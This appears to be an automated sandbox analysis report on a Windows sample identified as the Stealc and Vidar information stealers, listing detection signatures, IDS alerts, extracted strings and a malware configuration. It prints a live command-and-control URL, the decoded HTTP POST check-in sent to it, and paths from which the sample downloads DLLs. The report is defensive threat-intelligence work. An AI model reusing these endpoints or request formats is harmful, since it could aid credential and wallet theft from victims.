Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1540745
MD5:	14a1f90b21ffb33b230a55a35c92f699
SHA1:	8da19f2127ab0ea47c3a98917c574770d0393427
SHA256:	a53615e5cd9c8c0edb2a91d32e7c30b506bda8a741c525e33cdbbb06aad27565
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2296 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 14A1F90B21FFB33B230A55A35C92F699)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2101514591.0000000005090000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2378464740.00000000013CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2296	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 2296	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 2296	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2296	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.6c0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:07.702566+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:07.695891+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:07.995373+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:09.130103+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:08.012567+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:07.407001+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T04:57:09.706704+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T04:57:18.394251+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T04:57:20.159470+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T04:57:21.203708+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T04:57:22.010936+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T04:57:23.736494+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-24T04:57:24.395364+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKKJJJKJKFHJJJJECBFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 32 35 44 34 42 38 42 34 41 41 38 33 31 34 38 31 35 32 38 31 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 2d 2d 0d 0a Data Ascii: ------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="hwid"525D4B8B4AA83148152816------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="build"doma------JKKKJJJKJKFHJJJJECBF--

Source: file.exe, 00000000.00000002.2378464740.00000000013CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllP
Source: file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllp
Source: file.exe, 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2378464740.0000000001412000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2378464740.0000000001412000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllQ
Source: file.exe, 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dlly
Source: file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllT
Source: file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllf
Source: file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllF
Source: file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dllb
Source: file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/TU
Source: file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.dll
Source: file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php/f
Source: file.exe, 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpR
Source: file.exe, 00000000.00000002.2378464740.0000000001426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpWf
Source: file.exe, 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdll
Source: file.exe, 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpf
Source: file.exe, 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phption:
Source: file.exe, 00000000.00000002.2378464740.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: file.exe, 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2401651899.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2390794753.000000001D91E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2395738609.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, GHJKEHJEGCFCAKFIIJJJ.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2395738609.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, GHJKEHJEGCFCAKFIIJJJ.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2395738609.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, GHJKEHJEGCFCAKFIIJJJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2395738609.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, GHJKEHJEGCFCAKFIIJJJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: GHJKEHJEGCFCAKFIIJJJ.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: CAFBGDHCBAEHIDGCGIDAKFIIEC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: CAFBGDHCBAEHIDGCGIDAKFIIEC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CAFBGDHCBAEHIDGCGIDAKFIIEC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2395738609.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, GHJKEHJEGCFCAKFIIJJJ.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2395738609.00000000299D1000.00000004.00000020.00020000.00000000.sdmp, GHJKEHJEGCFCAKFIIJJJ.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2212957318.000000000147A000.00000004.00000020.00020000.00000000.sdmp, KKECFIEB.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: CAFBGDHCBAEHIDGCGIDAKFIIEC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: CAFBGDHCBAEHIDGCGIDAKFIIEC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: CAFBGDHCBAEHIDGCGIDAKFIIEC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2311367255.000000002FBA5000.00000004.00000020.00020000.00000000.sdmp, CAFBGDHCBAEHIDGCGIDAKFIIEC.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: CAFBGDHCBAEHIDGCGIDAKFIIEC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2311367255.000000002FBA5000.00000004.00000020.00020000.00000000.sdmp, CAFBGDHCBAEHIDGCGIDAKFIIEC.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2311367255.000000002FBA5000.00000004.00000020.00020000.00000000.sdmp, CAFBGDHCBAEHIDGCGIDAKFIIEC.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD08B3	0_2_00AD08B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A920EC	0_2_00A920EC
